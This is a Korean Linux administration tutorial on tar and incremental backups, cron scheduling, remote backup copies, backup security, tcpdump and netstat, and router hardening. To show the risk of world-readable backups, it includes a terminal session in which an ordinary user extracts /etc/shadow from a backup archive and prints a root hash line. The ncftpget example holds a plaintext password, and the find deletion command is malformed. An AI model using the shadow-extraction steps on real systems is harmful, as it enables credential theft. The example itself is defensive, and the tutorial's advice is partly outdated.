1) 1차 백업

cd /backup
tar cvpfz /backup/home.tar.gz /home --exclude=/home/test

일반적으로 tar 로 백업시 사용되는 확장자 규칙은 압축되지 않고 단순히 하나의 파
일로 패킹(packing) 한 파일의 경우에는 “tar" 를, gzip 으로 압축된 파일의 경우에
는 ”tar.gz" 나 “tgz" 를 확장자로 한다.

따라서 확장자가 home.tar.gz 나 home.tgz 일 경우 tar 로 packing 된후 gzip
으로 압축되었음을 뜻한다.

백업시 ``z'' (압축) 옵션의 사용에 유의하여야 한다.  단순히 하나의 파일로 압축
백업 시에는 때에 따라 데이터의 일부가 손상되는 경우가 있는데, 이때에는 백업된
파일 전체가 깨어져 복구를 할 수 없게 되는 경우가 있다.

백업시 압축을 하지 않고 단순히 tar 로 묶은 경우에는 설사 압축파일이 깨어졌다
하더라도 압축 파일의 복구가 가능하기 때문에 백업시 압축을 할
것인지 여부를 신중히 선택하여야 한다.

아울러 현재까지 안정 KERNEL인 Kernel 2.2의 경우 하나의 파일은 최대 2G 가 최대
사이즈인데, 특정 파티션 이하에 많은 파일이 있어 하나의 파일로 백업할 경우 2G를
넘을 경우에는 적당히 분산하여 백업을 하여야 한다.

이때에는 아래와 같은 방법이 가능할 것이다.

tar cvfpz home_a_h.tar.gz /home/[a-h]*
tar cvfpz home_i_p.tar.gz /home/[i-p]*
tar cvfpz home_q_z.tar.gz /home/[q-z]*


>> 실제 백업 스크립트 예.

#!/bin/sh                          .................. (1)

cd /backup                        .................. (2)  
rm -f *.tar.gz                     ................... (3)  
tar cvfpz apache.tar.gz /usr/local/apache/*  ........ (4)
tar cvfpz home.tar.gz /home/* --exclude=/home/test   ........  (5)
tar cvfpz etc.tar.gz /etc/*                 ........... (6)
tar cvfpz mail.tar.gz /var/spool/mail/*    ...........  (7) ,
chown backup.backup *.tar.gz            .............. (8)  
chmod 700 *.tar.gz                        .............. (9)
ls -alh | mail -s 백업정보 backup
at tt.co.kr ........ (10)
df -sh | mail -s 파티션정보 backup
at tt.co.kr    .......... (11)


(1) 시작되는 내용이 Shell Script 임을 정의한다.
(2) 백업작업이 이루어지는 파티션인 /backup 으로 이동한다.
(3) 기존의 백업된 파일을 모두 삭제한다.
(4) - (7) 번까지는 백업을 해야 할 디렉토리 이하에 대해 데이터를 각각 백업한다.
(8) 백업된 파일의 소유권을 backup 으로 설정한다.
(9) 백업된 파일의 권한을 700 으로 설정한다.
(10) 백업이 제대로 되었는지 확인하기 위해 현재의 디렉토리내 백업 파일의 리스트를
백업 담당자인 backup@tt.co.kr에게 메일로 발송한다.
(11) 혹 파티션이 찰 수도 있으니 현재의 파티션 사용 정보를 백업담당자에게 메일로
발송한다.

>> 증가분 백업하기.

#!/bin/sh                           ...........(1)

TODAY=`date +"%d %b %Y"`        ........... (2)
PREVIOUSDAY=`cat FULL_BACKED_DAY`    ............ (3)
tar cvfpzG _modified_home.tgz -N "$PREVIOUSDAY" /home  ..........(4)

/home 에 대해 Full Backup을 실행하기로 한다.
(이때  Full 백업 스크립트 제일 하단에
  echo `date +"%d %b %Y"` > FULL_BACKED_DAY 를 추가한다)

이후 매일 위의  스트립트를 실행하면 풀백업이후 추가 및 변경된 파일 및 디렉토리만
선별하여 별도로 백업을 하게 되는 것이다.

(1) 실행되는 스크립트가 Shell 스크립트임을 정의한다.
(2) 현재의 시각을 -N 옵션이 이해할 수 있는 13 Jan 2001 형태로 TODAY 라는
변수에   대입한다.

(3) 이전에 Full 백업시의 시각인  FULL_BACKED_DAY를 읽어 PREVIOUSDAY 라는
변수에 대입한다.

(4) /home 디렉토리 이하에 대해 Full 백업시의 시각 이후로 변경, 추가된 파일에
대해서만 modified_home.tgz 라는 파일로 저장한다.

##### 참고 cron 이용하기.
cron 은 일종의 일정관리 데몬으로서 기본 설정파일인 crontab 에 따라 정해진
시각에 따라 주기적으로 명령을 수행한다.

crontab 는 7개의 구성요소로 이루어지는데, 6번째 필드(User)는 생략되어도 무방
하다.

분 / 시 / 날짜 / 달 / 요일 / 사용자  /  명령어

각 항목은 정수로 나타낼 수도 있고 또한 몇 개의 항목은 와일드카드 문자로 인식되는
``*'' 문자로 표현이 가능한데, * 는 “매”의 의미이다. 즉 시간 항목에 * 이 있다면
매 시간이라는 뜻이고 날짜 항목에 * 이 있으면 매일이라는 뜻이 되는 것이다.
그리고 하나의 필드에 중복된 시간을 나타내고자 하면 콤마로 구분하면 되고, 연속된
시간을 나타내고자 하면 하이픈(-)을 이용하여 일정기간을 나타낼 수 있다.
참고로 분은 0-59, 시는 0-23, 날짜는 0-31, 달은 0-12
(0또는 12는 12월, 1은 1월...),

요일은 0-7(0과 7은 일요일, 1은 월요일)로 나타낸다.

/etc/crontab 파일예

01 * * * * root run-parts /etc/cron.hourly
02 2 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
0 0 * * 1 root rdate -s time.bora.net && clock -w  

위 그림에서 각각의 의미를 알아보도록 하자.
첫줄은 매시 1분에 /etc/cron.hourly 디렉토리내의 스크립트를 실행한다는 의미이고
두번째줄은 매일 02시 2분에 /etc/cron.daily 내의 스크립트를 실행한다는 의미이고
세번째줄은 매월, 매일 새벽 4시 22분에 /etc/cron.weekly 디렉토리내 스크립트를
실행하는 것처럼 보이지만 5번째 필드인 <요일> 필드값이 0 이므로 1주일에 1회
일요일 (0이므로) 에 /etc/cron.weekly 디렉토리내의 스크립트를 실행하라는 것이다.

다섯번째줄과 같이 매일,매주 0시0분, 매주 월요일(1) 에
rdate -s time.bora.net && clock -w 라는 명령어를 실행하라고 직접 명령어를
지정해 줄 수도 있다.

각  디렉토리내 실행 스크립트는 정기적으로 시스템에 의해 실행이 되어야 하므로
실행(eXecute) 권한이 있어야 함은 당연하다. 따라서 위에서 작성한 스크립트를 700
정도의 적당한 실행권한을 부여하여  해당
디렉토리에 설정해 주면 될 것이다.
또는 직접 /etc/crontab를 편집하여 실행시간을 정의할 수도 있다.

DB 등 중요 데이터 매일 백업하기.
   -->   /etc/cron.daily/db_bak.sh
#!/bin/sh
dat=`date +%Y%m%d%H%M`
tar cvfpz /backup/db/mysql_$dat.tgz /usr/local/mysql/var/*
chmod 700 /backup/db/*

  --> /etc/cron.3days/db_del.sh
#!/bin/sh
find /backup/db/ -mtime +3 -exec rm -f   ;

/backup/db 에는 3일치 데이터가 늘 저장됨.





  
2) 2차 백업하기

#!/bin/sh

rm -f *.tar.gz         ..................(1)
ncftpget -u backup -p 'tomorrow'
data.tt.co.kr /home/data_backup '/backup/home.tar.gz'  
..........(2)

(1) 기존의 백업 데이터를 삭제후
(2) ncftpget을 이용해 data.tt.co.kr 에 접속하여 /backup 디렉토리의 home.tar.gz
라는 파일을 백업서버의 /home/data_backup 디렉토리이하에 home.tar.gz 라는
파일로 ncftp전송한다는 뜻이다.
ncftpget 과 비슷한 방법으로 rsync 라는 패키지가 있는데, 이는 rpm 으로도 제공
되므로 쉽게 이용이 가능하며 자세한 이용방법은 man rsync로 확인해 보기 바란다.

3) 백업 및 복구시 주의점.

(1) 데이터의 변화주기 및 경중을 고려하여 백업주기를 다르게 설정한다.
백업할 데이터가 홈페이지 관련 데이터일 경우 일반적인 HTML 이나 관련 GIF등의
이미지 파일들은 자주 변경이 되지는 않으며 주로 작업자의 PC에서 작업후 서버에
업로드를 하므로 작업자의 PC에 저장되어 있는 경우가 많다.
그러므로 이의 데이터들은 매일 또는 수시 백업을 받을 필요는 없으며 변경된 내용만
을 백업하거나 일정주기마다 백업을 하면 된다.  그리고 백업이 동작시 일반 데이터
뿐만  아니라 zip 이나 asf 또는 mpeg 등과 같이 파일자체가 압축되어 있는 형식의
경우에는  파일자체의 사이즈가 크고 백업시 많은 부하 를 유발하게 되므로 이러한
파일의 경우에는 꼭 백업할 필요가 없다면 경중을 고려하여 백업에서 제외하거나
백업일정을 적당히 조정할 필요가 있다.
요즘은 회원제 운영이 보편화되면서 대부분의 홈페이지에서 각종 데이터베이스를 연동
하여 사용하는 경우가 많은데, 데이터 베이스의 경우 회원의 ID / PW 등의 각종 회원
데이터가 보관되고 정보가 자주 변경되므로 수시로 백업을 할 필요가 있다.
각 데이터베이스 프로그램의 경우 별도의 백업 명령어(msqldump., mysqldump등)
가 있으므로 tar 가 아닌 dump 명령어를 이용하는 것도 권장할 만 한다.


(2) 1차백업시 백업파티션은 별도의 디스크로 구성한다.
시스템 인스톨시 하나의 물리적인 디스크를 여러 파티션으로 논리 분할하여 이용하는
경우가 많은데, 이때 백업 파티션의 경우에는 반드시 별도의 물리적인 파티션 분할을
이용하여 별도로 디스크를 구성하는 것이 중요하다. 이는 만약 데이터가 보관된 하드
디스크가 물리적인 결함으로 복구가 불가능할 경우 이 디스크에 있던 데이터는 물론
이고 복구시 필요한 백업까지도 함께 복구가 불가능하여 백업으로서의 의미가 상실
되기 때문이다.

일반적인 데이터는 빠른 연산이 필요하므로 SCSI 를 이용하고 백업디스크는 비용
부담이 적은 고용량의 IDE 방식도 무난하다.

(3) 백업된 데이터에 대한 보안설정도 중요하다.
일반적으로 백업 스크립트는 root 소유로 작동하므로 백업된 파일이 생성될 때에는
root 소유로 백업 화일이 생성된다. 그러나 일반적으로 umask 는 022 로 설정되어
있으므로 생성된 백업파일은 644로 저장된다. 644일 경우 아래와 같이 일반 사용자가
백업된 파일에 접근하여 심지어는 일반적으로 접근이 불가능한 shadow 파일
에도 접근이 가능하게 되어 보안상 문제가 될 수 있다.

따라서  백업 파티션을 별도로 구성하여 백업이 끝난후에는 반드시 백업 파티션을
umount하여 일반 사용자가 접근할 수 없도록 하고  백업을 시작하기 전에 mount를
하면 될 것이다. 그리고 백업작업 중간에 일반 사용자가 백업 파일을 복사할 수도 있
으므로 백업시작 스크립트에 umask를 066으로 설정하여 생성되는 파일의 소유권을
600 으로 하고 백업이 끝난후에 umask를 다시 022로 재설정하여 일반 사용자의
비정상적인 접근을 차단할 수 있다.

[user @www user]$ cat /etc/shadow
cat: /etc/shadow: 허가 거부됨
[user@www user]$id
uid=500(user) gid=500(user)
[user@www user]$ ls -la /backup/etc.tar.gz
-rw-r--r--    1 root   root     954039 12월 12 04:22 /backup/etc.tar.gz
[user@www user]$ cp /backup/etc.tar.gz .
[user@www user]$ tar zxvfp etc.tar.gz etc/shadow
etc/shadow
[user@www user]$ cat etc/shadow
root:$1$V.120Zso3$cD/aUqQr2EBY0:11295:0:99999:7:-1:-1:134540356
bin:*:11266:0:99999:7:::
daemon:*:11266:0:99999:7:::                      


(4) 2차, 3차 백업서버는 가급적 네트워크에서 격리할 필요가 있다.

만약 1차 백업이 되고 있는 데이터 서버가 해킹을 당해 데이터가 유실되었다면
2차나 3차 백업이 되고 있는 서버의 데이터로 복원을 하여야 한다. 그런데, 만약
2차,3차 백업서버도 기존의 서버와 같은 설정으로 되어 있어 같은 방식으로 해킹
을 당해 데이터가 유실되었다면?  해결책이 없는 것이다. 따라서 최후의 보루라
할 수 있는 2차,3차 백업 서버는 기존의 서버와 환경설정을 다르게 하고 관리자
암호등 접근권한도 다르게 설정 할 필요가 있다.

그리고 백업서버는 일체의 제공 서비스 없이 백업만을 담당하므로 불필요한
서비스는 띄워놓을 필요가 없으며 백업이 작동할 때 이외에는 네트워크에 연결
되어 있을 필요가 거의 없으므로  백업이 끝난 후에는 네트워크에서 격리할 필요
가 있는데, 이는 ipchains 등을 이용하여 자체 방화벽을 구성하여 외부에서의
접근을 일체 차단할 수도 있겠지만 다음과 같이 아예 네트워크에서 격리를 하면 된다.

백업 시작전 : /etc/rc.d/init.d/network start 로 Netwok 연결
백업 종료후 : /etc/rc.d/init.d/network stop  로 Network 차단.

2차,3차 백업서버는 네트워크에서의 격리뿐만 아니라 물리적으로도 격리
할 필요가 있다.
화재나 천재지변등 피치 못할 사정으로 사고 발생시 백업서버가 원 DATA가
공동으로 위치할 경우 돌이킬 수 없는 문제가 벌생할 수 있으므로 백업 서버는
다른 건물로, 같은 건물의 경우 다른층에  위치하는 것이 좋다.
부득이 같은 층에 있다면 멀리 위치하는 것이 좋다.


(5) 백업 담당자를 지정, 운영한다.

보안담당자도 없는데 백업담당자가 필요하겠냐고 생각할 수 있겠지만,
전담자까지는 없더라도 담당자는 지정을 하여 정기적으로 체크를 함으로써
보다 책임성 있고 신뢰성 있는 백업체계를 유지할 필요가 있다. 백업이 되고
있는 줄 알고 복구를 할 일이 있어 백업 서버를 살펴 보니 corn 데몬이 죽어
있거나 스크립트가 실행권한이 없어 실행이 되고 있지 않은 경우도 있으니
백업 담당자가 수시로 체크를 하여야 한다. 체크 일지를 두거나 정기적으로
체크하는 스크립트를 만들어 자동으로 체크여부를 알려주는 것도 좋은 방법
이 될 것이다.




8. 보안 관련 네트워크 팁


? tcpdump
tcpdump port 80
  80 번 포트가 반응하는 패킷을 검출함.
tcpdump src 192.168.1.1
192.168.1.1에서 오는 패킷을 검출함
tcpdump dst 192.168.1.2
  192.168.1.2 로 가는 패킷을 검출함

원두우즈 기반의 클라이언트 IP 주소는 시작-> 실행-> winipcfg 나
Dos창에서 ipconfig /all 로 알 수 있다.


?netstat
netstat -na 로 현재 서버의 연결상태를 체크한다.

LISTEN : 서버의 어플리케이션(데몬)이 떠서 접속요청을 기다리는 상태.
SYS-SENT : 로컬의 클라이언트 어플리케이션이 원격 호스트에
              연결을 요청한 상태.
SYN-RECEIVED : 서버가 원격 클라이언트로부터 접속요구를 받아
                           클라이언트에게 응답을 하였지만 아직 클라이언트에게 확인
메시지

                   받지 않은 상태
ESTABLISHED : 3 way handshake 가 완료된후 서로 연결된 상태.
FIN-WAIT-1  
CLOSE-WAIT  
FIN-WAIT-2   : 서버에서 연결을 종료하기 위해 클라이언트에게 종결을 요청하고
                 회신을 받아 종료하는 과정의 상태
CLOSING : 흔하지 않지만 주로 확인 메시지가 전송도중 분실된 상태
TIME-WAIT : 연결은 종료되었지만 분실되었을지 모르는 느린 세그먼트를 위해
               당분간 소켓을 열어놓은 상태
CLOSING  : 완전히 연결 종료



? 라우터에서 보안 설정하기
1) SNMP 의 Community를 public에서 다른 이름으로 설정
2) SNMP 의 접근 IP를 특정 IP 로 제한
3) service password-encryption 로 Virtual Password 를 암호화
4) no ip source-route 설정
5) finger를 할 수 없도록 설정함.
6) 각 Interface 에 대해 directed-broadcast를 disable 함.
7) 특정 ip 에 대해 라우팅을 하지 못하도록 하려면
     ip route 216.32.198.19 255.255.255.255 Null0 와 같이 설정함.
8) access-list 를 이용 IP 또는 Port를 제한
9) telnet 접속IP를 제한함.
10) telnet 대신 ssh를 이용함(ISO의 Upgrade 필요)



문제 :

1. sniffing 의 원리와 이의 대처방안에 대해 설명하라.
2. cron을 걸면 root 로 많은 mail 이 쌓이게 되어 서버에 용량뿐만이 아니라
부하를 초래하게 된다.
root 로 쌓이는 메일을 제대로 처리하는 방법에는 어떤것이
있을지 기술하라.

3. root 도 못지우는 화일(읽기 전용화일)에 대해 설정하라?

4. last는 한달을 주기로 로그 화일이 rotate 되는데....
따라서 6월 2일에 last 를 하면 2일치만 나타날뿐 이전달의 정보는 나타나지 않는다.
5월의 접속로그를 보려면 어떻게 하여야 하는가?

5. 리눅스 커널 정보는 uname -a 로 볼수 있다.
그렇다면 배포판 이름과 버전은 어떻게 알 수 있을까?


참고 URL :
http://certcc.or.kr/
http://packetstorm.securify.com/
http://www.cisco.com/
http://iznet.org/
manpage

Writer profile
author image
-아랑 -

트랙백 주소 : 이 글에는 트랙백을 보낼 수 없습니다

About

by 서진우

Counter

· Total
: 4586211
· Today
: 167
· Yesterday
: 485